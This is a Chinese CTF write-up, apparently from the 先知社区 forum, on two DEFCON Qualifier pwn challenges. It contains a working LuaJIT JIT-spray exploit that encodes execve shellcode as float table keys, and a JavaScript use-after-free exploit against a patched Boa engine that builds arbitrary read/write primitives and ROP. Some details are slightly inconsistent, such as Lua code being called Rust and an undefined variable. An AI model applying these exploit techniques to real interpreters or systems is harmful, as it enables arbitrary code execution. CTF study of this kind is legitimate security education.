暂无简介
本文是对 Defcon 资格赛中 Pwn 方向两道题目的复现,分别是 smuggler's cove 以及 constricted。难度相比以往的国内赛要高不少,但是同时也学习到了不少新的知识。以下为这两道题目的分析。
smuggler's cove
漏洞分析
这道题是C语言实现的对LuaJIT的包装,最关键的地方在它可以对执行 JIT 代码的初始位置进行再设置,代码如下,mcode 代表 JIT 的代码,可以根据 offset 设定其入口位置为任意值。
int debug_jit(lua_State* L) {
...
if (offset != 0) {
if (offset >= t->szmcode - 1) {
return luaL_error(L, "Avast! Offset too large!");
}
t->mcode += offset;
t->szmcode -= offset;
printf("... yarr let ye apply a secret offset, cargo is now %p ...\n", t->mcode);
}
...
}
void init_lua(lua_State* L) {
lua_pushcfunction(L, debug_jit);
lua_setglobal(L, "cargo");
}
这意味着可以跳转到 mcode 内的任何位置并且执行。如果跳转位置不是一条完整的指令,例如操作数,则该位置处的操作数将会被读入为汇编指令。这种利用方法的名称为 JIT Spray,以论文 SoK: Make JIT-Spray Great Again 里的一个 ActionScript JIT 的例子进行说明,这里有一个 ActionScript 实现的一个长的表达式,计算多个数字异或的结果:
var y=(
0x3c909090 ^
0x3c909090 ^
0x3c909090 ^
...
}
ActionScript JIT 编译器生成的汇编代码如下第一段指令,虽然这些指令运算了上面的表达式,但如果从第一个偏移量开始执行,就会执行不同的指令,如下第二段指令。由于 ActionScript 的常量完全由攻击者控制,因此可以注入小于或等于三个字节大小的任意汇编指令。第四字节 0x3C
的作用是掩盖操作码 0x35
所代表的合法操作,并产生一个类似 nop
语义的 cmp al, 0x35
。它还可以防止指令的再同步。
0x00: B8 9090903C mov eax, 0x3c909090
0x05: 35 9090903C xor eax, 0x3c909090
0x0a: 35 9090903C xor eax, 0x3c909090
0x01: 90 nop
0x02: 90 nop
0x03: 90 nop
0x04: 3C35 cmp al, 0x35
0x06: 90 nop
0x07: 90 nop
0x08: 90 nop
0x09: 3C35 cmp al, 0x35
0x0b: 90 nop
0x0c: 90 nop
0x0d: 90 nop
...
mcode中的立即数
使用 JIT Spray 的利用方法,第一步是在 JIT 代码中构造立即数,但是实际调试会发现,赋值时的立即数并没有像预想那样放在指令的操作数里。例如这个例子:
a = {}
function b()
a[0]=0x1234;
a[1]=0x12345678;
a[2]=0x123456789012;
a[3]=1.1;
end
b();
b();
cargo(b, 0x0);
b();
它编译成JIT后的结果如下,可以看到,参数被放到了 xmm 寄存器里。
查看 xmm 的值,发现整数按照浮点数的格式存储,符合 IEEE 754 标准。
继续尝试所有符合 Rust 语法的立即数放置方式,最终发现,Array 的索引值会成为8字节的立即数,例如构造如下代码,0x1111111111111的浮点数就会成为立即数。
a = {}
function b()
a[0x1111111111111]=0x2222222222222;
end
b();
b();
cargo(b, 0x0);
b();
shellcode链构造
在可以稳定构造8字节的立即数后,我们可以在 JIT 代码中布置若干立即数,并在单个立即数中构造汇编代码加上跳转指令,跳转到下一个立即数继续执行。这样可以形成一组实现任意功能的 shellcode 链。其中,跳转指令使用短跳转指令,形式为\xeb
+offset-2
。
由于题目获取flag的命令已经提示为 ./dig_up_the_loot x marks the spot
,因此构造的 shellcode 则需要执行 execve("./dig_up_the_loot",{"./dig_up_the_loot", "x", "marks", "the", "spot", NULL}, NULL);
,由于短跳转需要最小占据2字节的长度,因此除了跳转指令外,构造的汇编代码不能超过6字节,不足的地方可以用 nop
填补。
接下来将8字节汇编数据转成浮点数,其中一共需要20个浮点数才能完整地构造 shellcode 链。这里是将 shellcode 转为浮点数并生成 rust 代码的脚本。
a = {}
function b()
a[1.4957223655503106e-164]=0;
a[1.495815476778225e-164]=0;
a[1.495841708495309e-164]=0;
a[1.4873392666992543e-164]=0;
a[1.4879738606775951e-164]=0;
a[1.495841708495309e-164]=0;
a[1.465296784398639e-164]=0;
a[1.4888193271265417e-164]=0;
a[1.495841708495309e-164]=0;
a[1.4866937687679482e-164]=0;
a[1.4890362322246634e-164]=0;
a[1.495841708495309e-164]=0;
a[1.4875381479693369e-164]=0;
a[1.497704141875117e-164]=0;
a[1.4823931673038887e-164]=0;
a[1.4957894513827388e-164]=0;
a[1.4957894578518181e-164]=0;
a[1.4957894449136594e-164]=0;
a[1.4957894966662944e-164]=0;
a[2.6348604765033886e-284]=0;
a[1.4958420697436709e-164]=0;
end
b();
b();
cargo(b, 0x6a);
b();
然而,题目对 exp 代码长度进行了433字节的限制。上面的代码不满足该条件,并且经过计算,在去掉一切非必要的空格换行等字符的条件下最多只能写13个浮点数,也就是 shellcode 链最多只能有13组8字节指令。
#define MAX_SIZE 433
从指令本身入手进行精简是一种方法,例如使用相同语义字符更少的指令。但是这样能缩减的字符数有限,并且注意到原 shellcode 里最占字符的数据是要执行的命令 ./dig_up_the_loot x marks the spot
。因此将字符串形式的命令直接写入 exp 代码,并且尝试在 JIT 内通过可用的数据找到存储 exp 代码的内存。于是构造如下代码:
a = {}
c = "./dig_up_the_loot x marks the spot"
function b(s)
a[1.4957223655503106e-164]=0;
end
b(c);
b(c);
cargo(b, 0x6a);
b(c);
调试发现,运行到 JIT 时实际上全部源码都在可索引的范围内,RBX、RCX 和源码甚至在同一个页里。
开启 ASLR 后,发现源码和 RBX、RCX 的偏移也同样是固定的。
基于以上想法构造如下代码和 shellcode,合并之后只需要9个浮点数。最终的 exp 如下:
a = {}
c = "./dig_up_the_loot\x00x\x00marks\x00the\x00spot"
function b(s)
a[6.296558090174646e-155]=0;
a[2.41846297676398e-222]=0;
a[1.8879529989201158e-193]=0;
a[1.8879518185292636e-193]=0;
a[1.8879517130205247e-193]=0;
a[1.8879517211856508e-193]=0;
a[1.8879517048553986e-193]=0;
a[1.8879517701764074e-193]=0;
a[2.6348604765033886e-284]=0;
end
b(c);
b(c);
cargo(b, 0x6a);
b(c);
constricted
补丁分析
题目基于 BOA,一个 Rust 实现的 Javascript 解释器,并且提供了补丁代码。第一步根据依赖的库版本和代码行号对commit进行定位,并且应用补丁。
git reset --hard 5a9ced380629db85a9fc7dee3ec93bf15c0ff6ed
patch -p1 < ../../constricted.patch
Patch中最重要的部分是实现了TimeCache
作为 OrderedMap<TimeCachedValue>
结构的 Newtype
并实现了它的 BuiltIn
特性。TimeCachedValue
有两个字段 expire
和 data
,data
为 JsObject
对象,expire
则为一个u128
的整数,标记 data
的到期时间。针对TimeCachedValue
的Trace
方法会根据 TimeCachedValue
的到期时间来决定是否对data对象进行mark[1],被mark的对象不会被垃圾回收算法释放。以上涉及到 BOA 中使用到的垃圾回收库 rust-gc ,它使用 mark-sweep 算法实现垃圾回收,这种算法为代码中使用到的每一个对象设置一个标志位,在mark阶段,对整个代码的 "根集” 进行树状遍历,将根所指向的每个对象标记为 “活跃”。然后在sweep阶段对内存进行扫描,将所有未被标记为“活跃”的对象进行释放,并清空所有标记,为下一个周期做准备。
pub(crate) struct TimedCache(OrderedMap<TimeCachedValue>);
pub struct TimeCachedValue {
expire: u128,
data: JsObject,
}
impl Finalize for TimeCachedValue {}
unsafe impl Trace for TimeCachedValue {
custom_trace!(this, {
if !this.is_expired() {
mark(&this.data); // ---->[1]
}
});
}
TimeCache
的BuiltIn
中最重要的部分是注册的三个method,分别是set
, get
和 has
,代码位于 boa_engine/src/builtins/timed_cache/mod.rs
。
TimedCache.prototype.set( key, value, lifetime )
函数向 OrderedMap
中插入一个key:TimeCachedValue(value,expire)
的键值对。此处的 expire
到期时间由参数 lifetime
与当前时间相加计算得到[2],单位是毫秒。
pub(crate) fn set(
this: &JsValue,
args: &[JsValue],
context: &mut Context,
) -> JsResult<JsValue> {
let key = args.get_or_undefined(0);
let value = args.get_or_undefined(1);
if let Some(object) = this.as_object() {
if let Some(cache) = object.borrow_mut().as_timed_cache_mut() {
let key = match key {
JsValue::Rational(r) => {
if r.is_zero() {
JsValue::Rational(0f64)
} else {
key.clone()
}
}
_ => key.clone(),
};
if let Some(value_obj) = value.as_object() {
let expire = calculate_expire(args.get_or_undefined(2), context)?; // ------>[2]
cache.insert(key, TimeCachedValue::new(
value_obj.clone(), expire as u128));
return Ok(this.clone());
}
return context.throw_type_error("'value' i not an Object");
}
}
context.throw_type_error("'this' is not a Map")
}
TimedCache.prototype.get( key, lifetime=null )
函数根据参数key返回OrderedMap
中对应的TimeCachedValue
,如果没有或者TimeCachedValue
已经超过到期时间,则返回 undefined
。此外,也可以再次传入 lifetime
参数设置这个对象的到期时间。
pub(crate) fn get(
this: &JsValue,
args: &[JsValue],
context: &mut Context,
) -> JsResult<JsValue> {
const JS_ZERO: &JsValue = &JsValue::Rational(0f64);
let key = args.get_or_undefined(0);
let key = match key {
JsValue::Rational(r) => {
if r.is_zero() {
JS_ZERO
} else {
key
}
}
_ => key,
};
if let JsValue::Object(ref object) = this {
if !check_is_not_expired(object, key, context)? {
return Ok(JsValue::undefined());
}
let new_lifetime = args.get_or_undefined(1);
let expire = if !new_lifetime.is_undefined() && !new_lifetime.is_null() {
Some(calculate_expire(new_lifetime, context)?)
} else {
None
};
if let Some(cache) = object.borrow_mut().as_timed_cache_mut() {
if let Some(cached_val) = cache.get_mut(key) {
if let Some(expire) = expire {
cached_val.expire = expire as u128;
}
return Ok(JsValue::Object(cached_val.data.clone()));
}
return Ok(JsValue::undefined());
}
}
context.throw_type_error("'this' is not a Map")
}
漏洞分析
以上补丁相当于维护了一个 TimeCache
的队列,我们通过 set()
和get()
向其中存取对象。但是这里有一个问题,set()
插入到 TimeCache
的对象到期后并不会从队列中删除,也就是说队列中可以存在一个已经被释放掉的对象,如果我们可以将它取出,那就能构造到一个 UAF 漏洞。但事实上 get()
会检查对象的到期时间,如果已经到期则会返回 undefined
。注意到 get()
函数取对象的操作在检查之后,因此如果能够在时间检查和对象取值之间释放该对象,那么就可以拿到一个被释放后的对象。
漏洞利用
注意到如果在TimedCache.prototype.get( key, lifetime=null )
中设置了 lifetime
的值,则会在 calculate_expire
中取出这个值进行计算。如果lifetime
存在 valudOf
属性,则取值的时候有机会执行回调函数。在回调函数内部可以实现对象释放。
构造如下代码,首先用set()
注册一个 key
为 “first” 的 object,到期时间为1000。这里重写 fake_expire_time
的 valueOf()
函数,并用fake_expire_time
作为参数用 get()
从队列中取出键为 “first” 的object,这时的 object 没有到期,于是可以通过 get()
的时间检测走到的 calculate_expire
函数。 calculate_expire
对 fake_expire_time
取值的时候会触发 callback,回调函数内部等待对象到期,并调用垃圾回收函数console.collectGarbage()
释放对象。等待 get()
函数的返回,返回值则是已经被释放的object指针。
// trigger the UAF
var overlap;
var fake_expire_time = { 1: 2 };
fake_expire_time.valueOf = function () {
console.sleep(2000);
console.collectGarbage();
return -1;
};
var tc = new TimedCache();
tc.set("first", {}, 1000); //---->[3]
var freed_obj = tc.get("first", fake_expire_time);
为了控制这个被释放的 object,我们继续创建新的ArrayBuffer
占位。在尝试占位的时候发现占位对象始终为ArrayBuffer
的头部数据而非二进制存储数据。经过调试,单个{}
占用0x150字节大小的堆内存[3],于是修改 exp 如下:
// trigger the UAF
var overlap;
var fake_expire_time = { 1: 2 };
fake_expire_time.valueOf = function () {
console.sleep(2000);
console.collectGarbage();
overlap = new ArrayBuffer(0x150);
//{1:{\}\} {1:{\}\}
//^^ <-- Array Buffer Data ^^ <-- Array Header
return -1;
};
var tc = new TimedCache();
tc.set("first", { 1: {} }, 1000); //---->[3]
var info_first = console.debug(tc.get("first"));
console.log(info_first);
var freed_obj = tc.get("first", fake_expire_time);
{ 1: {} }
被释放时,两个大小为0x150的内存分别被释放,当分配大小为0x150的 ArrayBuffer
时,分别会分配0x150的 Header 和 Array Buffer Data 空间,Header 会占用 inner 对象的内存,Array Buffer Data 则会占用 outer 对象的内存。Array Buffer Data 数据可控,因此 outer 对象的内存可以伪造。分别打印没有 UAF 之前的 tc.get("first”) 和 UAF 之后的 overlap、freed_obj 的值,可以看到 overlap 的 Array Buffer Data 已经和释放的{ 1: {} }
重叠。
var info_first = console.debug(tc.get("first"));
console.log(info_first);
console.log(console.debug(overlap));
console.log(console.debug(freed_obj));
接下来伪造数据进行类型混淆。通过将 UAF 的 Object 内存伪造为ArrayBuffer
的 Header 内存,并设置 Header 内 Array Buffer Data 的地址就可以实现任意地址读写的原语。通过任意地址读,可以泄露代码基地址、栈地址、libc基地址信息。
var view = new DataView(overlap);
var addr_first = BigInt(info_first.substring(32, 46)) - 0x28n;
var method_addr = BigInt(info_first.substring(58, 72));
function set64(view, idx, value) {
view.setBigUint64(idx, value, true);
}
var leak_addr = addr_first + 0x100n;
set64(view, 0x28, leak_addr + 2n); //addr+2
set64(view, 6 * 8, leak_addr); //addr
set64(view, 7 * 8, 0x300n);
set64(view, 8 * 8, 0x300n);
set64(view, 9 * 8, 0x300n);
set64(view, 10 * 8, 0x301n);
set64(view, 14 * 8, leak_addr); //addr
set64(view, 15 * 8, 0x300n);
set64(view, 16 * 8, 0x300n);
set64(view, 17 * 8, method_addr_arr1); //method
console.log(console.debug(freed_obj));
var view_anywhere = new DataView(freed_obj);
function get64(view, idx) {
return view.getBigUint64(idx, true);
}
var code_addr = get64(view_anywhere, 0x10 + 0x80) - 0x11c9db0n;
var stack_addr = get64(view_anywhere, 0x60 + 0x80);
有了任意地址读写后,最简单的利用方法就是通过读 got 表泄露 libc 地址,并覆盖 libc 中的 __free_hook
为 onegadget,最后用collectGarbage()
或.exit
调用 free 触发 onegadget 。然而这道题使用的环境是 ubuntu 20.04,onegadget 的利用条件比较苛刻,几个备选都不能满足条件。
考虑到栈地址和程序基地址已经被泄露,所以可以在栈上写 ROP 进行利用。然而调试发现栈的布局非常不稳定,所以这里在ROP前加了一步栈喷,在存放__libc_start_main
的栈地址附近喷射大量 ret
,程序正常退出时调用到这里执行ROP。完整的利用代码见exp.js。
- 本文作者: Q1IQ
- 本文来源: 先知社区
- 原文链接: https://xz.aliyun.com/t/11445
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!